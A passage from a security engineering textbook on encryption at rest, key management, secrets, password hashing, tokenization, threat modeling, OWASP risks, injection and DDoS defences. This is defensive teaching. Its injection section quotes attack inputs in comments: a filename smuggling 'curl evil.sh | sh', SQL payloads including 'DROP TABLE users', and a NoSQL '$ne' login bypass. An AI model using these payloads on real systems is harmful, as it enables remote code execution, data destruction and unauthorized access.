  database-level (TDE)
    DB decrypts transparently for any authenticated query
    defeats: stolen disk, stolen data files, raw backup theft
    does NOT defeat: anyone with valid DB credentials
        |
  disk/volume-level (LUKS, EBS encryption)
    OS sees plaintext once mounted
    defeats: physical theft, decommissioned media, raw snapshot access
    does NOT defeat: anyone with access to the running machine

  "The database is encrypted" almost always means the bottom two layers --
  which is no protection at all against a leaked application credential.

import os
from cryptography.hazmat.primitives.ciphers.aead import AESGCM

# ---- Application-level field encryption with envelope encryption ------------
# Envelope encryption: a per-record data key encrypts the data; a KMS master key
# encrypts the data key. The master key never leaves the KMS.

def encrypt_field(plaintext: str, kms, key_id: str, record_id: str) -> dict:
    data_key = kms.generate_data_key(key_id)     # {'plain': b'..', 'wrapped': b'..'}
    nonce = os.urandom(12)                       # unique per encryption, never reused
    aad = record_id.encode()                     # bind ciphertext to this record
    ct = AESGCM(data_key["plain"]).encrypt(nonce, plaintext.encode(), aad)
    del data_key["plain"]                        # drop the plaintext key promptly
    return {
        "ciphertext": ct,
        "nonce": nonce,
        "wrapped_key": data_key["wrapped"],      # stored beside the data
        "key_id": key_id,                        # which master key: needed to rotate
    }

def decrypt_field(record: dict, kms, record_id: str) -> str:
    plain_key = kms.decrypt(record["wrapped_key"])   # the only KMS call on read
    aad = record_id.encode()
    # AAD binding means a ciphertext copied into ANOTHER row fails to decrypt --
    # it defeats the "swap the encrypted SSN between rows" attack.
    return AESGCM(plain_key).decrypt(record["nonce"], record["ciphertext"], aad).decode()

Encrypting individual fields breaks the things databases are good at: you cannot index, sort, or range-query a ciphertext column, and equality search only works with deterministic encryption, which leaks which rows share a value. This is the real cost, and it is why field-level encryption is applied selectively — to the handful of columns that genuinely warrant it (payment data, national IDs, health records) rather than to everything.

Layer	Protects against	Does not protect against	Query impact
Disk / volume	Physical theft, discarded media	Anything on the running host	None
Database TDE	Stolen data files and raw backups	Valid DB credentials, SQL injection	None
Field-level	DB dumps, malicious DBA, injected reads	A compromised application server	No index/range/sort
Client-side E2E	Everything server-side, including you	Compromised client	Server cannot process

Three practices matter regardless of layer. Encrypt backups and snapshots with the same rigour — a backup is a full copy of the database with a habit of being stored somewhere less controlled. Test restore from an encrypted backup, because a backup you cannot decrypt is not a backup, and key loss is indistinguishable from data loss. And record which key version encrypted each record, so rotation can proceed incrementally instead of requiring a stop-the-world re-encryption.

Key Takeaways

• At-rest encryption defends against media-level compromise; the layer chosen determines which attacker it actually stops.
• Disk and TDE encryption do nothing against a leaked application or database credential — the most common real breach path.
• Field-level encryption with envelope keys protects against DB dumps and privileged insiders, at the cost of indexing, sorting, and range queries.
• Bind ciphertext to its record with AAD so ciphertexts cannot be swapped between rows.
• Encrypt backups equally, store the key version per record, and rehearse restore — lost keys are lost data.

🧪 Practice

1. Take a table containing an email, a national ID, and a balance, and decide which columns warrant field-level encryption and what each choice costs you in queries.
2. Implement envelope encryption with a mock KMS, including a key-version field, and write the incremental re-encryption routine.
3. Interview: Your database has TDE enabled and an attacker exfiltrates data via SQL injection. Did encryption help? (Hint: think about who performs the decryption and on whose behalf.)

Key Management and Rotation

Encryption converts the problem of protecting data into the problem of protecting keys, and that second problem is where most real failures occur. A key checked into a repository, embedded in an image, or shared over chat has silently converted encrypted data into plaintext data with extra steps.

The organizing idea is a key hierarchy. A small number of long-lived master keys live in hardware or a managed key service and never leave it; they encrypt data keys, which encrypt data. This is what makes rotation and revocation tractable: re-wrapping thousands of data keys is cheap, while re-encrypting terabytes of data is not.

 KEY HIERARCHY (envelope encryption)

   [ HSM / KMS ]  root key           never exportable; hardware-backed
        |                            all use is logged and access-controlled
        v  encrypts
   [ master / CMK ]  per environment or per data class
        |
        v  encrypts
   [ data keys ]  per record, per file, per tenant
        |
        v  encrypts
   [ the actual data ]

 Rotating a master key = re-wrap the data keys (fast, metadata-only).
 Rotating a data key   = re-encrypt that record's data (slow, but scoped).
 Losing the root key   = the data is gone. There is no recovery path.

# Rotation without downtime: write with the new key, read with either, then
# migrate lazily. The version tag on each record is what makes this possible.

CURRENT_KEY_ID = "cmk-2026-08"

def write(record_id, plaintext, kms, store):
    blob = encrypt_field(plaintext, kms, CURRENT_KEY_ID, record_id)
    store.put(record_id, blob)                 # always the newest key

def read(record_id, kms, store):
    blob = store.get(record_id)
    plaintext = decrypt_field(blob, kms, record_id)   # old key still enabled
    if blob["key_id"] != CURRENT_KEY_ID:
        # Lazy migration: re-encrypt on access, so hot data migrates first and
        # a background job only has to sweep the cold tail.
        write(record_id, plaintext, kms, store)
    return plaintext

# Retiring the old key safely:
#   1. new key created and enabled for decrypt          (both keys usable)
#   2. writes switch to the new key                     (drift begins)
#   3. lazy + background migration until count(old) = 0 (verify with a query)
#   4. DISABLE the old key, wait through the retention window
#   5. only then schedule deletion -- disable is reversible, deletion is not

The practices that separate working key management from theatre:

• Never store keys with the data they protect. A key column in the same database as the ciphertext gives an attacker both in one dump.
• Separate keys by environment and data class. Staging must not be able to decrypt production, and a compromised key should have a bounded scope.
• Enforce least privilege on key usage. A service that only writes needs encrypt permission, not decrypt.
• Log every key operation. KMS audit logs are often the only evidence of what an attacker actually read.
• Plan for compromise, not just rotation. Emergency rotation is a different procedure — it requires knowing which data used the key, and how fast every record can be re-encrypted.
• Rotate on a schedule and on events. Scheduled rotation limits exposure windows; departures, suspected leaks, and incidents force immediate rotation.

Key type	Typical lifetime	Rotation cost
Root / HSM key	Years	Very high; avoid by design
Master key (CMK)	1 year	Low — re-wrap data keys only
Data key	Per record/file	Re-encrypt that record
TLS certificate	90 days or less	Automated (ACME)
Workload identity	Hours	Fully automated, continuous
Signing key (JWT)	Months, overlapped	Publish new, overlap, retire old

Key Takeaways

• Encryption moves the problem to key protection; a leaked key makes the ciphertext equivalent to plaintext.
• Use a key hierarchy — root and master keys in a KMS/HSM, data keys per record — so rotation is a re-wrap rather than a re-encryption.
• Tag every record with its key version to allow lazy, zero-downtime rotation.
• Disable before deleting a key; deletion is irreversible and indistinguishable from data loss.
• Separate keys by environment and data class, restrict encrypt/decrypt permissions independently, and log every key operation.

🧪 Practice

1. Design the key hierarchy for a multi-tenant system where each tenant must be cryptographically isolated, and state what "delete a tenant" then means.
2. Implement lazy rotation with a version tag and write the query that proves migration is complete.
3. Interview: A key may have been exposed six months ago. What is your response plan? (Hint: think about what you must be able to enumerate, and what the audit logs would need to have recorded for you to scope the damage.)

Secrets Management

A secret is any credential a system needs but must not reveal: database passwords, API keys, signing keys, service account tokens. The problem is that applications need them at run time, which creates a distribution question — and the wrong answers to it are the most common finding in any security review.

Secrets in source control are the canonical failure. Git history is permanent, so a secret committed once is exposed even after the file is deleted, and a private repository becomes public more often than anyone plans for. Secrets baked into container images are the same problem with a different filesystem: anyone who can pull the image can read them.

 MATURITY LADDER

  0. hardcoded in source            in git forever; in every fork and clone
  1. config file in the image       anyone who can pull the image has it
  2. environment variables          better; visible in `ps`, crash dumps, logs
  3. secrets manager + injection    fetched at start-up, never on disk
  4. dynamic short-lived secrets    generated per session, auto-expiring
  5. no secret at all               workload identity: the platform vouches
                                    for the workload; nothing to steal

  Each rung reduces both the exposure window and the number of copies.

import os, time, requests

# ---- Level 3: fetch at startup from a secrets manager ----------------------
class SecretsClient:
    def __init__(self, vault_url, role_token):
        self.url, self.token, self._cache = vault_url, role_token, {}

    def get(self, path, ttl=300):
        entry = self._cache.get(path)
        if entry and entry["expires"] > time.time():
            return entry["value"]                 # cache: do not hammer the vault
        r = requests.get(f"{self.url}/v1/{path}",
                         headers={"X-Vault-Token": self.token}, timeout=2)
        value = r.json()["data"]
        self._cache[path] = {"value": value, "expires": time.time() + ttl}
        return value
        # Cached in memory only: never written to disk, never logged.

# ---- Level 4: dynamic credentials, created per application instance --------
def dynamic_db_credentials(vault):
    creds = vault.get("database/creds/orders-role")
    # Vault created this user in the database seconds ago with a 1-hour lease.
    # Consequences worth noting:
    #  - a leaked credential expires by itself
    #  - every instance has a DISTINCT username, so audit logs attribute
    #    activity to a specific workload
    #  - revocation is one API call, no deploy required
    return creds["username"], creds["password"], creds["lease_duration"]

# ---- Level 5: workload identity, no secret to distribute at all ------------
def cloud_db_token(metadata_url):
    # The platform attests the workload's identity; the database accepts that
    # attestation. There is no password anywhere to leak, rotate, or commit.
    token = requests.get(metadata_url, headers={"Metadata-Flavor": "Google"}).text
    return token

Environment variables deserve a specific note because they are widely treated as the finish line. They are a genuine improvement over files in an image, but they are visible in process listings, inherited by child processes, frequently dumped into crash reports and error trackers, and printed wholesale by well-meaning debug endpoints. They are acceptable for low-sensitivity configuration and a weak choice for high-value credentials.

Two operational habits close the remaining gaps. Scan for secrets in CI and in pre-commit hooks, so the common accident is caught before it becomes permanent history. And treat any exposed secret as compromised immediately — the response is rotation, not deletion of the commit. Rewriting history does not un-clone a repository or un-read a log line.

Key Takeaways

• Never commit secrets: git history is permanent, and image layers are readable by anyone who can pull.
• Environment variables beat files in images but leak through process listings, crash dumps, and error trackers.
• A secrets manager with in-memory caching keeps credentials off disk and centralizes rotation and audit.
• Dynamic short-lived credentials make leaks self-expiring and attribute activity to a specific workload.
• Workload identity is the strongest option: no distributed secret exists at all; and any exposed secret must be rotated, not merely deleted.

🧪 Practice

1. Add secret scanning to a pre-commit hook and to CI, then verify both catch a planted test credential.
2. Convert a service from a static database password to dynamic credentials with a one-hour lease, and describe what happens at renewal time.
3. Interview: A production API key was pushed to a public repository and the commit was reverted within a minute. What do you do? (Hint: consider how fast automated scrapers work and whether reverting removes anything from a clone.)

Password Hashing

Passwords must be verifiable without being recoverable, because a breach will eventually expose the store and users reuse passwords across services. That requirement rules out encryption — anything reversible is reversible by whoever holds the key — and points at one-way hashing.

Ordinary cryptographic hashes are the wrong tool, and the reason is instructive. SHA-256 is designed to be fast, which is exactly wrong here: modern GPUs compute billions of SHA-256 hashes per second, so an attacker with a leaked table of unsalted hashes can exhaust the entire realistic password space. Password hashing functions are deliberately slow and memory-hard, so each guess costs the attacker real resources.

 GUESSES PER SECOND (single high-end GPU, order-of-magnitude)

  MD5              ~ 100,000,000,000     entire 8-char space in hours
  SHA-256          ~  10,000,000,000     same story
  bcrypt cost 12   ~          30,000     ~1,000,000x slower than SHA-256
  argon2id 64MB    ~           3,000     memory cost defeats GPU parallelism

 The defence is not secrecy of the algorithm -- it is that each guess costs
 the attacker roughly what one login costs you (a few hundred milliseconds).

from argon2 import PasswordHasher
from argon2.exceptions import VerifyMismatchError, VerificationError

# Argon2id: memory-hard, so GPUs and ASICs lose most of their advantage.
ph = PasswordHasher(
    time_cost=3,        # iterations
    memory_cost=65536,  # 64 MB per hash -- the anti-GPU parameter
    parallelism=4,
)

def register(password: str) -> str:
    # The salt is generated automatically and stored INSIDE the returned string,
    # so identical passwords produce different hashes and rainbow tables die.
    return ph.hash(password)
    # '$argon2id$v=19$m=65536,t=3,p=4$<salt>$<hash>'
    #            ^ parameters are embedded, which is what makes upgrades possible

def login(password: str, stored_hash: str, user, store) -> bool:
    try:
        ph.verify(stored_hash, password)
    except (VerifyMismatchError, VerificationError):
        return False
    # Transparent upgrade: when the cost parameters are raised, rehash on the
    # next successful login -- the only moment the plaintext is available.
    if ph.check_needs_rehash(stored_hash):
        store.update_password_hash(user.id, ph.hash(password))
    return True

Algorithm	Status	Notes
Argon2id	Preferred	Memory-hard; tune memory first, then time
scrypt	Good	Memory-hard; well established
bcrypt	Acceptable	Widely available; 72-byte input limit
PBKDF2	Acceptable if required	Not memory-hard; needs a very high iteration count
SHA-256 / MD5	Never for passwords	Far too fast; unsalted variants are trivially broken

Several surrounding decisions matter as much as the algorithm. Tune parameters to your hardware, targeting roughly 200–500 ms per hash on production machines — high enough to hurt attackers, low enough that a login burst does not exhaust CPU (deliberately slow hashing is also a denial-of-service surface, so rate-limit login attempts). Never truncate or pre-hash carelessly into bcrypt's 72-byte limit. Compare in constant time, which every good library already does. And check candidate passwords against known-breached lists rather than enforcing baroque composition rules — modern guidance favours length and a breach check over forced symbols and 90-day expiry, both of which push users toward predictable patterns.

Key Takeaways

• Passwords must be hashed with a deliberately slow, memory-hard function — never encrypted, never hashed with SHA-256 or MD5.
• A unique per-password salt is mandatory and is stored inside the hash string by modern libraries.
• Prefer Argon2id; tune parameters to about 200–500 ms per hash on your hardware and re-tune as hardware improves.
• Embedded parameters allow transparent upgrades: rehash on successful login when the cost has changed.
• Rate-limit authentication (slow hashing is also a DoS surface) and screen passwords against breach lists instead of enforcing composition rules.

🧪 Practice

1. Benchmark Argon2id on your hardware and find the parameters giving ~250 ms per hash; record the memory cost per concurrent login.
2. Implement transparent rehashing on login and prove that an old-parameter hash is upgraded after one successful authentication.
3. Interview: Your password store leaks. What determines how bad it is? (Hint: think about cost per guess, whether salts were unique, and how quickly you can force a reset.)

Tokenization and Data Masking

Encryption protects data while still keeping it, which means the risk and the compliance obligations travel with it. Tokenization and masking take a different approach: reduce the number of places sensitive data exists at all, and give everything else a harmless stand-in.

Tokenization replaces a sensitive value with a random surrogate — a token — that has no mathematical relationship to the original. The real value lives in one hardened vault; every other system stores only the token. Because the token is not derived from the data, no key compromise anywhere else can reverse it. This is why payment systems use it: a token in the orders database is not card data, so that database falls largely outside PCI scope.

Masking transforms data for display or for non-production use — ****1234, or a realistic but fake name in a staging database. The purpose is to let people and systems work without ever seeing the real value.

 ENCRYPTION                    TOKENIZATION

  card + key -> ciphertext      card -> [ token vault ] -> random token
  reversible with the key       reversible ONLY via the vault lookup
  ciphertext is still           token is meaningless data:
    "card data" for compliance    no key can reveal it
  every holder is in scope      only the vault is in scope

  4111 1111 1111 1111           4111 1111 1111 1111
        |                              |
        v  AES + key                   v  vault stores the mapping
  8f3a92bd7c...                  tok_9f2b8c1e4a7d
  (protect the key everywhere)   (protect one vault; tokens are inert)

import secrets

class TokenVault:
    """The only system that ever holds real values. Everything else has tokens."""
    def __init__(self, store):
        self.store = store            # hardened, heavily audited, tightly scoped

    def tokenize(self, value: str, kind: str) -> str:
        token = f"tok_{secrets.token_hex(12)}"        # random, not derived
        self.store.put(token, {"value": value, "kind": kind})
        return token

    def detokenize(self, token: str, actor: str) -> str:
        # Every read is authorized and logged: the audit trail is the point.
        audit.log("detokenize", token=token, actor=actor)
        return self.store.get(token)["value"]

# Format-preserving tokens keep downstream systems working unchanged.
def format_preserving_card_token(pan: str, vault) -> str:
    token = vault.tokenize(pan, "pan")
    # Keep the last four so support and users can still identify the card,
    # and keep the length so validation and UI layouts do not break.
    return {"token": token, "last4": pan[-4:], "brand": detect_brand(pan)}

# ---- Masking: same value, reduced exposure by context ----------------------
def mask(value: str, kind: str, viewer_role: str) -> str:
    if viewer_role == "fraud_investigator" and kind == "pan":
        return value                                   # authorized full view
    if kind == "pan":     return "*" * 12 + value[-4:]
    if kind == "email":
        user, _, domain = value.partition("@")
        return f"{user[0]}{'*' * (len(user) - 1)}@{domain}"
    if kind == "ssn":     return "***-**-" + value[-4:]
    return "***"

The strongest form of masking is for non-production environments. Copying production data into staging is the single most common way sensitive data ends up somewhere with weaker controls, broader access, and no audit trail. Proper pseudonymization for test data preserves the shape — referential integrity, distributions, formats — without preserving any real person's information.

Technique	Reversible?	Typical use
Encryption	Yes, with the key	Data you must recover in full
Tokenization	Only via the vault	Payment data, national IDs
Static masking	No	Non-production datasets
Dynamic masking	N/A (view-time)	Support tools, dashboards
Redaction	No	Logs, exports, error reports
Synthetic data	No original exists	Testing, demos, ML development

One habit prevents a large share of accidental leaks: redact at the boundary, not at the call site. A logging filter that scrubs known-sensitive field names centrally will outperform a rule that every developer must remember on every log line, and it keeps working when someone logs an entire request object during a 3 a.m. debugging session.

Key Takeaways

• Tokenization replaces sensitive values with random surrogates whose real values live in one vault, shrinking compliance scope to that vault.
• Tokens are not derived from the data, so no key compromise elsewhere reverses them.
• Format-preserving tokens keep length and last-four so downstream systems and support workflows continue to function.
• Mask by context and role at view time; use static masking or synthetic data for non-production environments.
• Redact centrally at logging and export boundaries rather than relying on per-call-site discipline.

🧪 Practice

1. Design the tokenization boundary for an order system so the orders database never stores a card number, and list which services remain in scope.
2. Write a logging filter that redacts a configurable set of field names at any nesting depth, and test it against a nested request object.
3. Interview: Why does tokenizing card numbers reduce PCI scope while encrypting them does not, to the same degree? (Hint: think about what an attacker who steals the database plus every key in that system can do in each case.)

<a id="113-threats-and-defenses"></a>

11.3 Threats and Defenses

Knowing the mechanisms is not the same as knowing what to defend against. This subchapter covers how to reason systematically about attacks, the vulnerability classes that actually cause breaches, and the structural principles — zero trust, defence in depth, audit logging — that limit damage when a control fails.

Threat Modeling

Threat modeling is the practice of asking, before the system is built, what could go wrong and what you will do about it. Without it, security work is driven by whatever was in the news, which produces systems hardened against fashionable attacks and wide open to the obvious ones. With it, security becomes a design input with the same status as latency or cost.

Four questions structure the whole exercise: What are we building? What can go wrong? What are we going to do about it? Did we do a good job? The first requires a data flow diagram with explicit trust boundaries; the second is where a taxonomy helps, because unaided brainstorming reliably misses categories.

STRIDE is the most used taxonomy — six threat types, applied to each element of the diagram.

Threat	The question it asks	Property violated	Typical control
Spoofing	Can someone pretend to be another?	Authentication	mTLS, MFA, signed tokens
Tampering	Can data be altered undetected?	Integrity	Signatures, checksums, TLS
Repudiation	Can someone deny an action?	Non-repudiation	Audit logs, signing
Information disclosure	Can data leak?	Confidentiality	Encryption, access control
Denial of service	Can it be made unavailable?	Availability	Rate limits, quotas, autoscaling
Elevation of privilege	Can someone gain more rights?	Authorization	Least privilege, validation

 DATA FLOW DIAGRAM WITH TRUST BOUNDARIES
 Threats concentrate where a flow CROSSES a boundary -- that is the whole
 reason to draw them.

     internet          :        DMZ          :      internal      :   data
                       :                     :                    :
   [ browser ] --1--> [ API gateway ] --2--> [ orders svc ] --3--> [ DB ]
                       :                     :        |           :
                       :                     :        4           :
                       :                     :        v           :
                       :                     :  [ payments (3rd party) ]

  1  S: stolen session   T: request tampering   I: sniffing   D: flood
  2  S: forged internal call   E: gateway bypass (can 3 be reached directly?)
  3  I: credentials in config   T: SQL injection   R: no audit of who read what
  4  S: is the vendor's cert verified?   I: what PII crosses this boundary?

# A threat model kept as data next to the code -- reviewable in pull requests
# and assertable in CI, which is what stops it becoming a stale document.
THREATS = [
    {
        "id": "T-01",
        "flow": "browser -> api_gateway",
        "stride": "Spoofing",
        "scenario": "Attacker replays a stolen session cookie from a public PC",
        "impact": "high", "likelihood": "medium",
        "mitigation": "15-min session TTL; re-auth for sensitive actions; "
                      "bind session to device fingerprint",
        "status": "implemented", "verified_by": "test_session_expiry",
    },
    {
        "id": "T-04",
        "flow": "orders_svc -> payments_vendor",
        "stride": "Information disclosure",
        "scenario": "Full card PAN sent to the vendor and written to debug logs",
        "impact": "critical", "likelihood": "medium",
        "mitigation": "Tokenize before the boundary; central log redaction",
        "status": "accepted_risk",          # explicit, dated, and owned
        "owner": "payments-team", "review_by": "2026-11-01",
    },
]

def unmitigated_critical(threats):
    return [t for t in threats
            if t["impact"] == "critical" and t["status"] not in ("implemented",)]

# A CI check that fails the build on an unmitigated critical threat turns the
# model from documentation into a control.

Two practical notes. Do it early and repeat it at changes — threat modeling a finished system finds problems that are expensive to fix, while threat modeling a design finds the same problems when they cost a diagram edit. And accept risk explicitly: "we know, we chose not to fix it, here is who owns it and when we revisit" is a legitimate and often correct outcome. The failure is unexamined risk, not accepted risk.

Complementary techniques fill gaps STRIDE leaves. Attack trees decompose a specific goal ("steal a customer's funds") into paths, which is better for depth on one high-value target. PASTA and similar frameworks add business impact weighting. And a kill chain view asks not only how an attacker gets in but what they can do afterwards — which is what drives segmentation and detection rather than prevention alone.

Key Takeaways

• Threat modeling answers four questions: what are we building, what can go wrong, what will we do, and did it work.
• Draw data flows with explicit trust boundaries; threats cluster where flows cross them.
• STRIDE gives systematic coverage that unaided brainstorming misses.
• Keep the model as versioned data next to the code so it is reviewed and can be enforced in CI.
• Accepting a risk explicitly, with an owner and a review date, is a valid outcome; unexamined risk is not.

🧪 Practice

1. Draw a data flow diagram for a login feature with trust boundaries marked, and apply STRIDE to each boundary crossing.
2. Build an attack tree for "attacker reads another user's private messages" with at least three distinct root paths.
3. Interview: How do you decide which threats to fix first? (Hint: think about combining impact and likelihood with the cost of the mitigation, and what you would tell a regulator about the ones you skipped.)

OWASP Top Risks

The OWASP Top 10 is a periodically updated list of the most critical web application security risks, compiled from real breach and vulnerability data. Its value is not as a checklist to pass but as an empirical answer to "where do failures actually come from?" — which is a very different list from where teams intuitively spend effort.

The consistent headline across recent revisions is that broken access control is the number one category. Not exotic memory corruption, not cryptography — just endpoints that fail to check whether this user may act on this object.

Risk	What it looks like in practice	Primary defence
Broken access control	GET /api/orders/1002 returns someone else's order	Server-side per-object authorization
Cryptographic failures	Plaintext PII, weak hashes, missing TLS	Classify data; encrypt properly
Injection	SQL, NoSQL, OS command, LDAP injection	Parameterized queries; validation
Insecure design	No rate limit on password reset; no threat model	Threat modeling; secure patterns
Security misconfiguration	Default credentials, debug on, open buckets	Hardened baselines; config scanning
Vulnerable components	An unpatched library with a known CVE	SBOM, dependency scanning, patching
Auth failures	No MFA, credential stuffing allowed, weak recovery	Rate limits, MFA, breach checks
Integrity failures	Unverified updates, insecure deserialization	Signature verification; safe formats
Logging/monitoring failures	Breach undetected for months	Audit logs, alerting, retention
SSRF	Server fetches an attacker-supplied URL	Allowlist egress; block metadata IPs

# BROKEN ACCESS CONTROL -- the most common and most preventable class.
# The bug is not that authentication is missing; it is that authorization
# checks the USER but not the OBJECT.

# WRONG: authenticated, but any authenticated user can read any order (IDOR)
def get_order_broken(order_id, current_user, db):
    return db.query("SELECT * FROM orders WHERE id = %s", (order_id,))

# RIGHT: ownership is part of the query, so a mismatch returns nothing
def get_order(order_id, current_user, db):
    row = db.query(
        "SELECT * FROM orders WHERE id = %s AND customer_id = %s",
        (order_id, current_user.id),            # scope to the caller, in SQL
    )
    if not row:
        # Return 404, not 403: a 403 confirms the object exists, which leaks
        # information an attacker can enumerate.
        raise NotFound()
    return row

# SSRF -- the server is tricked into being the attacker's HTTP client.
import ipaddress, socket
from urllib.parse import urlparse

ALLOWED_HOSTS = {"api.partner.com", "cdn.example.com"}

def safe_fetch(url: str):
    parsed = urlparse(url)
    if parsed.scheme not in ("https",):        # no file://, no gopher://
        raise ValueError("scheme not allowed")
    if parsed.hostname not in ALLOWED_HOSTS:   # allowlist beats blocklist
        raise ValueError("host not allowed")
    # Resolve and check the ADDRESS: a permitted hostname can still resolve to
    # a private range (DNS rebinding, or a malicious partner DNS record).
    ip = ipaddress.ip_address(socket.gethostbyname(parsed.hostname))
    if ip.is_private or ip.is_loopback or ip.is_link_local:
        raise ValueError("resolves to an internal address")
        # 169.254.169.254 is the cloud metadata service -- the classic SSRF
        # target, because it hands out instance credentials.
    return requests.get(url, timeout=5, allow_redirects=False)
    #                                    ^ a redirect can bypass every check above

Two structural lessons matter more than the individual entries. Most items are design and process failures, not coding mistakes — insecure design, security misconfiguration, vulnerable components, and logging failures are all decided outside the function being written. And the list changes slowly, which tells you these are not novel attacks being discovered but well-understood ones being repeated; the gap is in systematic application, not in knowledge.

Key Takeaways

• Broken access control is consistently the top risk: authenticate the user, then authorize the specific object on every request, server-side.
• Return 404 rather than 403 for objects the caller may not see, to avoid confirming their existence.
• SSRF defence needs an egress allowlist plus post-resolution IP checks and no automatic redirect following; the cloud metadata endpoint is the usual target.
• Most Top 10 entries are design, configuration, and process failures rather than coding errors.
• The list is stable over time — the gap is systematic application, not new knowledge.

🧪 Practice

1. Audit three endpoints in a codebase for object-level authorization and fix any that check only authentication.
2. Implement an SSRF-safe fetch helper and test it against a hostname that resolves to a private address.
3. Interview: Why is broken access control the most common serious vulnerability? (Hint: think about what a framework gives you automatically versus what must be written per endpoint and per object.)

Injection and Input Validation

Injection happens when untrusted input is interpreted as code rather than data. The pattern is identical across SQL, shell commands, LDAP, XPath, and template engines: a string is assembled from a trusted template plus untrusted values, and the interpreter cannot tell which part came from where.

The correct fix is almost never "escape the input". Escaping is a per-context guess that must be right every time; separating code from data is a structural guarantee that is right by construction. Parameterized queries send the SQL and the values over different channels, so the database parses the query first and then binds values as opaque data — a value can never become syntax.

# ---- SQL: the difference is structural, not cosmetic -----------------------

# VULNERABLE: the value becomes part of the query text
def find_user_bad(email, db):
    return db.execute(f"SELECT * FROM users WHERE email = '{email}'")
    # email = "x' OR '1'='1"  -> returns every user
    # email = "x'; DROP TABLE users; --"  -> exactly what you think

# SAFE: the query is parsed BEFORE the value is bound; the value is never syntax
def find_user(email, db):
    return db.execute("SELECT * FROM users WHERE email = %s", (email,))

# Identifiers cannot be parameterized -- so use an allowlist, never interpolation.
SORTABLE = {"created_at", "total", "status"}          # a fixed, known set
def list_orders(sort_by, direction, db):
    if sort_by not in SORTABLE:
        raise ValueError("invalid sort field")
    direction = "DESC" if direction == "desc" else "ASC"   # map, do not pass through
    return db.execute(f"SELECT * FROM orders ORDER BY {sort_by} {direction}")

# ---- Shell: do not build a command string at all ---------------------------
import subprocess, shlex

def convert_bad(filename):
    subprocess.run(f"convert {filename} out.png", shell=True)   # shell parses it
    # filename = "a.jpg; curl evil.sh | sh"  -> remote code execution

def convert(filename):
    # No shell: the argument list is passed to execve directly, so ';' and '|'
    # are ordinary characters in a filename, not operators.
    subprocess.run(["convert", filename, "out.png"], shell=False, check=True)

# ---- NoSQL: injection does not require SQL ---------------------------------
def login_bad(collection, username, password_json):
    # If password_json comes from a JSON body, an attacker sends
    #   {"username": "admin", "password": {"$ne": null}}
    # and the operator object matches any password.
    return collection.find_one({"username": username, "password": password_json})

def login(collection, username, password):
    if not isinstance(password, str):        # reject non-scalar types outright
        raise ValueError("invalid password")
    return collection.find_one({"username": username, "password": password})

Validation is the second layer, and its rules are worth stating precisely. Allowlist, do not blocklist — enumerate what is acceptable, because you cannot enumerate everything an attacker might send. Validate at the trust boundary, once, on the server, and treat every client-side check as a UX feature with no security value. Validate type, range, length, and format, since an unbounded string is both an injection vector and a denial-of-service one.

from pydantic import BaseModel, EmailStr, Field, field_validator

class CreateOrder(BaseModel):
    # A schema is an allowlist: unknown fields are rejected, types are coerced
    # or refused, and bounds are enforced before any business code runs.
    customer_email: EmailStr
    quantity: int = Field(ge=1, le=100)            # range bounds, not just type
    sku: str = Field(pattern=r"^[A-Z0-9\-]{3,20}$")  # format allowlist
    note: str = Field(max_length=500, default="")    # length caps memory use

    @field_validator("note")
    @classmethod
    def no_control_chars(cls, v):
        if any(ord(c) < 32 and c not in "\n\t" for c in v):
            raise ValueError("control characters not allowed")
        return v

    model_config = {"extra": "forbid"}   # reject unexpected fields -- mass
                                         # assignment is an injection cousin

Output encoding is the third layer and applies to a different direction: data leaving your system into another interpreter. Cross-site scripting is injection into HTML, and the defence is context-aware encoding — HTML body, attribute, JavaScript, and URL contexts each require different escaping, which is why template engines that auto-escape by context are strongly preferred over manual escaping. A Content Security Policy then limits the damage if one slips through.

Key Takeaways

• Injection is untrusted input being interpreted as code; the fix is separating code from data structurally, not escaping.
• Use parameterized queries always; for identifiers that cannot be parameterized, map against a fixed allowlist.
• Avoid shell=True — pass an argument list so shell metacharacters stay data.
• Validate at the server-side trust boundary with an allowlist schema covering type, range, length, and format, and reject unknown fields.
• Encode output per context and add CSP; XSS is injection into the browser's interpreter.

🧪 Practice

1. Find a dynamically built query in a codebase and convert it to parameters, including any sortable-column handling.
2. Write a request schema with strict bounds and unknown-field rejection, then test it against oversized, wrongly typed, and extra-field payloads.
3. Interview: Can parameterized queries prevent all SQL injection? (Hint: think about which parts of a query accept parameters and which do not.)

DDoS Mitigation

A distributed denial-of-service attack aims to exhaust a resource — bandwidth, connections, CPU, or a downstream dependency — so legitimate users cannot be served. It differs from other attacks in that the traffic may be individually legitimate; the harm is in the volume, which makes "block the bad requests" insufficient as a strategy.

Attacks fall into layers, and the layer determines who can defend.

Layer	Example	Where it is stopped
Volumetric (L3/L4)	UDP amplification saturating the link	Upstream provider / scrubbing centre
Protocol (L4)	SYN flood exhausting connection tables	Edge network, SYN cookies
Application (L7)	Many valid-looking requests to a costly endpoint	Your application and WAF
Asymmetric / logic	One request causing enormous work	Application design

The critical insight for architects is that volumetric attacks cannot be absorbed by your application — if the attack saturates your uplink, nothing running behind it matters. Those require upstream capacity: a CDN or scrubbing provider with far more bandwidth than the attacker. What you can design against is the application layer, and especially the asymmetric case where a small request triggers large work.

# ASYMMETRIC COST is the vulnerability your own design creates.
ENDPOINT_COST = {
    "GET /health":              1,
    "GET /products":           10,
    "GET /search?q=":         200,     # full-text search
    "POST /reports/generate": 5000,    # aggregates months of data
    "POST /password-reset":    300,    # sends email + hashes a token
}
# An attacker only needs 20 requests/second to /reports/generate to consume
# what 10,000 requests/second to /health would. Rate limiting by REQUEST COUNT
# treats those as equal, which is why cost-based limits exist.

class CostLimiter:
    def __init__(self, budget_per_min): self.budget = budget_per_min
    def check(self, client_id, endpoint, usage):
        cost = ENDPOINT_COST.get(endpoint, 10)
        if usage.spend(client_id, cost) > self.budget:
            raise RateLimited(retry_after=60)
        # Expensive endpoints also deserve: authentication, a queue rather than
        # synchronous execution, and results cached by parameters.

# Layered edge defences: each one targets a different exhaustion mode.
limit_req_zone  $binary_remote_addr zone=general:10m rate=10r/s;
limit_req_zone  $binary_remote_addr zone=expensive:10m rate=1r/m;
limit_conn_zone $binary_remote_addr zone=perip:10m;

server {
    limit_conn perip 20;             # cap concurrent connections per IP
    client_body_timeout 10s;         # defeats slowloris-style slow-send attacks
    client_header_timeout 10s;
    client_max_body_size 1m;         # bound memory per request

    location /api/ {
        limit_req zone=general burst=20 nodelay;   # allow bursts, cap sustained
        proxy_pass http://backend;
    }
    location /api/reports/ {
        limit_req zone=expensive burst=2;          # strict: costly endpoint
        proxy_pass http://backend;
    }
}

